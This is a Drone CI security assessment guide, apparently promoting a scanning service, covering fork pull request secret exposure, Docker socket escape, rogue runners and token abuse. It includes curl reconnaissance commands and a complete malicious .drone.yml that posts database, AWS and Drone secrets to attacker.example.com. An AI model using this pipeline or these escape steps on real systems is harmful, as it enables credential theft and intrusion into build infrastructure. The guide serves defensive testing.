Drone CI is a container-native CI/CD system where pipeline definitions live in .drone.yml files in each repository. Its Docker-based runner model creates specific security risks: when pull request builds are enabled, an attacker who can open a PR (including from a fork) can inject arbitrary pipeline steps that run within the build environment and have access to organization secrets if secret policies are not correctly scoped; the Drone Docker runner typically runs containers with access to the host Docker socket, allowing container escape to the host; Drone's server-to-runner communication uses a shared secret (DRONE_RPC_SECRET) that, if weak or leaked, allows an attacker to register a rogue runner and intercept build workloads; and the DRONE_TOKEN environment variable available inside builds allows direct API calls to the Drone server to read secrets and trigger builds across all repositories the token has access to. This guide covers systematic Drone CI security assessment.
# Drone server default port: 80/443 (web), 9000 (gRPC runner port)
# Drone runner registration: DRONE_RPC_HOST:DRONE_RPC_PORT (default 9000)
# Check Drone server info
curl -s http://drone.example.com/api/info 2>/dev/null | python3 -m json.tool | head -5
# Check Drone version (unauthenticated)
curl -s http://drone.example.com/version 2>/dev/null | python3 -m json.tool | head -3
# List repos (requires auth token — test with default or leaked DRONE_TOKEN)
curl -s http://drone.example.com/api/user/repos \
-H "Authorization: Bearer ${DRONE_TOKEN}" 2>/dev/null | \
python3 -c "
import json,sys
repos = json.load(sys.stdin)
print(f'Repos: {len(repos)}')
for r in repos[:10]:
print(f\" {r.get('slug','?')} admin={r.get('admin',False)} trusted={r.get('trusted',False)}\")
" 2>/dev/null
# Drone by default passes secrets to fork PR builds unless explicitly disabled
# An attacker forks the repo, adds .drone.yml with exfiltration step, opens PR
# Malicious .drone.yml to exfiltrate secrets via fork PR
cat > .drone.yml << 'EOF'
kind: pipeline
type: docker
name: default
steps:
- name: exfil
image: alpine
environment:
PROD_DB_PASSWORD:
from_secret: PROD_DB_PASSWORD
AWS_SECRET_ACCESS_KEY:
from_secret: AWS_SECRET_ACCESS_KEY
DRONE_TOKEN:
from_secret: DRONE_TOKEN
commands:
- apk add curl
- |
curl -s -X POST https://attacker.example.com/collect \
-d "db=$PROD_DB_PASSWORD&aws=$AWS_SECRET_ACCESS_KEY&token=$DRONE_TOKEN"
EOF
# Open a PR from this fork — Drone runs the build with parent repo secrets
# Check if fork builds have secret access (via Drone API)
curl -s "http://drone.example.com/api/repos/org/repo/secrets" \
-H "Authorization: Bearer ${DRONE_TOKEN}" 2>/dev/null | \
python3 -c "
import json,sys
secrets = json.load(sys.stdin)
print(f'Secrets: {len(secrets)}')
for s in secrets:
print(f\" {s.get('name','?')} pull_request={s.get('pull_request',False)}\")
" 2>/dev/null
pull_request: false on all secrets or use Drone's DRONE_LIMIT_EVENTS to restrict fork event buildsDRONE_RPC_SECRET (minimum 32 bytes of entropy) — a weak shared secret allows rogue runner registrationtrusted: true on repositories that genuinely require host volume mountsDRONE_TOKEN permissions — tokens exposed in builds should be read-only and scoped to the minimum required repositoriespull_request: false policy rather than repo-level secrets| Security Test | Method | Risk |
|---|---|---|
| Fork PR builds expose parent repo secrets | Fork repo, add .drone.yml exfiltrating secrets via env vars — open PR to trigger | Critical |
| Docker socket access in trusted runners | Mount /var/run/docker.sock in pipeline step — run docker run --privileged to escape | Critical |
| Weak DRONE_RPC_SECRET allows rogue runner | Brute-force or guess RPC secret — register rogue runner and intercept builds | High |
| DRONE_TOKEN in build env for lateral movement | Echo $DRONE_TOKEN in pipeline step — use token to access other repos' secrets via API | High |
| Host volume mount via trusted: true repos | Mount /etc/kubernetes/pki or /run/secrets/kubernetes.io — read cluster credentials | High |
| Drone server admin API accessible | Access /api/users/admin — list all users and tokens without rate limiting | Medium |
Ironimo tests Drone CI deployments for fork pull request builds exposing parent repository secrets via injected pipeline steps, Docker socket access in trusted runners enabling container escape, weak DRONE_RPC_SECRET allowing rogue runner registration, DRONE_TOKEN in build environment enabling lateral movement across repositories, host path volume mounts in trusted pipelines exposing cluster credentials, and Drone server admin API accessible without authentication.
Start free scan